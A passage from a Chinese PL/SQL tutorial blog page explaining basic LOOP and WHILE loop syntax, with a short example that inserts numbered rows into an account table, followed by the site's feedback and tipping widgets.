END LOOP; 其中:EXIT WHEN 子句是必须的,否则循环将无法停止。 declare v_num number(4):=1; begin --从控制台接收数据并插入到account表中 loop insert into account values(v_num,'&name'); exit when v_num =10; v_num :=v_num+1; end loop; end; 2) while WHILE LOOP要执行的语句;END LOOP; 其中:  循环语句执行的顺序是先判断的真假,如果为真则循环执行,否则退出循环  在WHILE循环语

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

学徒钝子生

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值